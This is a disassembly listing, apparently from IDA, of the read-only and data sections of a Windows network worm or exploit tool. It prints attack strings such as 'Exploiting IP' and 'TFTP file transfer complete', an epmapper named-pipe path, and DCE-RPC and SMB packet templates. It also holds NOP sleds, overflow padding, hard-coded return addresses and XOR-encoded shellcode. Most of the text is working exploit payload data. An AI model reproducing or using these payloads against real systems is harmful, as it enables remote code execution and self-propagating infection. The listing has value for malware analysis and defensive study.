a1Inf		db '1#INF',0            ; DATA XREF: _$I10_OUTPUT+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: _$I10_OUTPUT+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: _$I10_OUTPUT+ADo
		align 10h
dword_41BA70	dd 0FFFFFFFFh, 41AC12h,	41AC16h, 0FFFFFFFFh, 41AC81h, 41AC85h
					; DATA XREF: ___crtCompareStringA+5o
		dd 1BC64h, 2 dup(0)
		dd 1BCA8h, 1B1A0h, 1BAC4h, 2 dup(0)
		dd 1C40Eh, 1B000h, 5 dup(0)
		dd 1BFEAh, 1C3F4h, 1C3E2h, 1C3D0h, 1C3C0h, 1C3ACh, 1C39Ch
		dd 1C38Ah, 1C378h, 1C36Ch, 1C35Eh, 1C34Eh, 1C33Ch, 1C322h
		dd 1C30Ah, 1C2F0h, 1C2D6h, 1BCB4h, 1BCCAh, 1BCD2h, 1BCDEh
		dd 1BCECh, 1BCF8h, 1BD0Ch, 1BD1Ah, 1BD2Ah, 1BD3Ah, 1BD50h
		dd 1BD5Eh, 1BD76h, 1BD8Eh, 1BD9Eh, 1BDC6h, 1BDDEh, 1BDEEh
		dd 1BE08h, 1BE24h, 1BE32h, 1BE44h, 1BE5Ah, 1BE6Ch, 1BE7Eh
		dd 1BE8Ch, 1BEA2h, 1BEAEh, 1BEC6h, 1BEE0h, 1BEF0h, 1BF02h
		dd 1BF14h, 1BF24h, 1BF36h, 1BF4Ah, 1BF5Ch, 1BF6Ch, 1BF7Ah
		dd 1BF8Ch, 1BF9Ch, 1BFB2h, 1BFC0h, 1BFCEh, 1C000h, 1C010h
		dd 1C026h, 1C03Ah, 1C04Eh, 1C062h, 1C06Eh, 1C07Ch, 1C08Ah
		dd 1C0A0h, 1C0ACh, 1C0C2h, 1C0D2h, 1C0E4h, 1C0F0h, 1C106h
		dd 1C116h, 1C128h, 1C136h, 1C14Eh, 1C160h, 1C170h, 1C18Ah
		dd 1C1A6h, 1C1BCh, 1C1C8h, 1C1D4h, 1C1E2h, 1C1FCh, 1C20Ch
		dd 1C21Eh, 1C230h, 1C23Eh, 1C24Ch, 1C25Ah, 1C268h, 1C278h
		dd 1C288h, 1C298h, 1C2A4h, 1C2AEh, 1C2BAh, 0
		dd 8000000Bh, 80000004h, 80000074h, 80000073h, 80000017h
		dd 80000015h, 8000000Ah, 80000009h, 80000002h, 8000000Dh
		dd 80000013h, 80000012h, 80000097h, 80000001h, 80000010h
		dd 80000003h, 0
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		db 0E4h	; ä
		db 1, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 296h
aSleep		db 'Sleep',0
		dw 218h
aReadfile_0	db 'ReadFile',0
		align 2
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
		db 0DFh	; ß
		db 2, 57h, 72h
aItefile	db 'iteFile',0
		db 0A7h	; §
		db 2, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
a4		db '4',0
aCreatefilea	db 'CreateFileA',0
		dw 11Ah
aGetlasterror	db 'GetLastError',0
		align 2
aJ_0		db 'J',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 124h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 10h
		db '~',0
aExitthread	db 'ExitThread',0
		align 2
		dw 1C1h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aF		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 16Dh
aGettickcount	db 'GetTickCount',0
		align 2
		dw 1ABh
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aU_0		db 'U',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 11Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 206h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db    7
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		db '}',0
aExitprocess	db 'ExitProcess',0
aD_2		db 'D',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
		db  59h	; Y
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 16Eh
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db 0FBh	; û
		align 2
aGetdateformata	db 'GetDateFormatA',0
		align 2
		dw 112h
aGetfilesize	db 'GetFileSize',0
		db  0Dh
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
aR_0		db '',0
aFindclose	db 'FindClose',0
aK_0		db 'Š',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
aI_1		db '‰',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
aA_2		db '',0
aFindnextfilea	db 'FindNextFileA',0
aF_0		db '”',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 26Ah
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0C2h	; Â
		db 1, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  3Eh	; >
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 126h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aP_0		db '¯',0
aFormatmessagea	db 'FormatMessageA',0
		align 4
		db  93h	; “
		db 1, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db  8Ch	; Œ
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 2B0h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db 0D6h	; Ö
		db 1, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
a5		db '5',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 26Ch
aSetfiletime	db 'SetFileTime',0
		dd 65470114h, 6C694674h, 6D695465h, 800065h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 268h
aSetfileattribu	db 'SetFileAttributesA',0
		align 10h
		db  65h	; e
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 10h
		db 0D2h	; Ò
		db 2, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		db 'Î',0
aGetcomputernam	db 'GetComputerNameA',0
		align 2
		dw 0F7h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 29Eh
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 2FFh
aLstrcmpia	db 'lstrcmpiA',0
		dw 1EFh
aOpenprocess	db 'OpenProcess',0
aW		db 'W',0
aDeletefilea	db 'DeleteFileA',0
		dw 0F8h
aGetcurrentpr_0	db 'GetCurrentProcessId',0
		db '(',0
aCopyfilea	db 'CopyFileA',0
		db 0CEh	; Î
		db 2, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
a?		db '?',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 29Fh
aTerminatethrea	db 'TerminateThread',0
		db 0DDh	; Ý
		db 1, 4Dh, 6Fh
aVefilea	db 'veFileA',0
		db  0Bh
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 1F9h
aPeeknamedpipe	db 'PeekNamedPipe',0
aC_0		db 'c',0
aDuplicatehandl	db 'DuplicateHandle',0
aC_1		db 'C',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 241h
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		dw 11Ch
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 10h
		db  75h	; u
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db 0CCh	; Ì
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		db '¸',0
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 18Dh
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 4
		dd 65480199h, 6C417061h, 636F6Ch, 6548019Fh, 72467061h
		dd 6565h, 654801A2h, 65527061h,	6F6C6C41h, 1700063h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		dd 6547015Dh, 73795374h, 546D6574h, 656D69h, 65470150h
		dd 61745374h, 70757472h, 6F666E49h, 0CA0041h, 43746547h
		dd 616D6D6Fh, 694C646Eh, 41656Eh, 65470174h, 72655674h
		dd 6E6F6973h, 19D0000h,	70616548h, 74736544h, 796F72h
		dd 6548019Bh, 72437061h, 65746165h, 2BF0000h, 74726956h
		dd 466C6175h, 656572h, 695602BBh, 61757472h, 6C6C416Ch
		dd 636Fh, 434C01BFh, 5370614Dh,	6E697274h, 4167h, 434C01C0h
		dd 5370614Dh, 6E697274h, 5767h,	654700BFh, 49504374h, 6F666Eh
		dd 654700B9h, 50434174h, 1310000h, 4F746547h, 50434D45h
		dd 2AD0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		db '²',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db '³',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 106h
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 108h
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		db  6Dh	; m
		db 2, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 152h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 115h
aGetfiletype	db 'GetFileType',0
		db  2Fh	; /
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db  53h	; S
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 156h
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  7Ch	; |
		db 2, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
aK_1		db 'ª',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 10h
		db  61h	; a
		db 2, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 10h
		db '!',0
aComparestringa	db 'CompareStringA',0
		align 2
		db '"',0
aComparestringw	db 'CompareStringW',0
		align 4
		db  62h	; b
		db 2, 53h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 4
_rdata		ends

; Section 3. (virtual address 0001D000)
; Virtual size			: 00059B78 ( 367480.)
; Section size in file		: 00059B78 ( 367480.)
; Offset to raw	data for section: 0001D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 41D000h
dword_41D000	dd 0			; DATA XREF: __cinit+1Fo
dword_41D004	dd 0			; DATA XREF: __cinit+1Ao
dword_41D008	dd 0			; DATA XREF: __cinit+10o
		dd offset ___initmbctable
		dd offset ___initstdio
dword_41D014	dd 0			; DATA XREF: __cinit:loc_413921o
dword_41D018	dd 0			; DATA XREF: _doexit+65o
		dd offset ___endstdio
dword_41D020	dd 0			; DATA XREF: _doexit:loc_4139C5o
dword_41D024	dd 0			; DATA XREF: _doexit+76o
dword_41D028	dd 2 dup(0)		; DATA XREF: _doexit:loc_4139D6o
dword_41D030	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_4013EE+E1o
					; sub_4013EE+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41D07C	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40119B+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_41D3E0	dd 20h,	0		; DATA XREF: sub_40119B+136o
		dd 20h,	5C005Ch, 0
off_41D3F4	dd offset dword_43005C	; DATA XREF: sub_40119B+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_41D434	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40119B+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40119B+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_41D544	dd 10016C6h		; DATA XREF: sub_40119B+104o
dword_41D548	dd 100139Dh		; DATA XREF: sub_40119B+FBo
asc_41D54C:				; DATA XREF: sub_401000+1Co
					; sub_4010E3+16o
		unicode	0, <\\>,0
		align 4
aIpc:					; DATA XREF: sub_401000+Co
					; sub_4010E3+Bo
		unicode	0, <\IPC$>,0
; char aSExploitingIpS[]
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_4013EE+2E9o
					; .text:004019DCo ...
		align 4
; char aTftpFileTransf[]
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_4013EE+29Co
					; .text:0040198Fo
		align 4
; char Format[]
Format		db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4013EE+41o
		align 10h
aS:					; DATA XREF: .text:00401839o
		unicode	0, <è>,0
		dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h
		dd 5EE7572h, 8,	9090E0FFh, 3Fh dup(90909090h), 9090h
dword_41D6E4	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: .text:00401919o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a123456111111_0:
		unicode	0, <$\123456111111111111111.doc>,0
		align 8
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
a127_0_0_1Ipc:				; DATA XREF: .text:00401858o
		unicode	0, <127.0.0.1\IPC$\>
		dw 4545h
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db  45h	; E
		db 3 dup(45h)
		db 0E9h	; é
		db 0F3h, 0FDh, 0FFh
		db 0FFh
aEeeeeeeeeeeeee	db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',0
dword_41DD78	dd 7C54144Ch		; DATA XREF: .text:004018ABo
dword_41DD7C	dd 77A1B496h, 77EDA1F0h, 77A1AFA9h, 41414141h, 77FCC662h
					; DATA XREF: .text:00401895o
		dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
		dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h,	0E91295D9h
		dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h,	0ABAAF160h
		dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
		dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h,	0C9C9C989h
		dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
		dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
		dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
		dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
		dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh,	0A86666F3h
		dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
		dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
		dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
		dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
		dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
		dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; char Str[]
Str		db 'ë'                  ; DATA XREF: sub_401B98+156o
					; sub_401B98+212o
		db 10h,	5Ah, 4Ah
		dd 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh, 70FFFFFFh
		dd 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h, 0D9123485h
		dd 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h,	8DD71262h
		dd 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h, 0C6C091EDh
		dd 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh, 589A7848h
		dd 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh, 125A9A99h
		dd 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh, 0CB945F1Ah
		dd 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h
		dd 669BF398h, 411275CEh, 999B9E5Eh
dword_41DF80	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_401B98+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_41E068	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_401FD7+76o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_41E0F4	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401FD7+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_41E1A0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401FD7+C9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
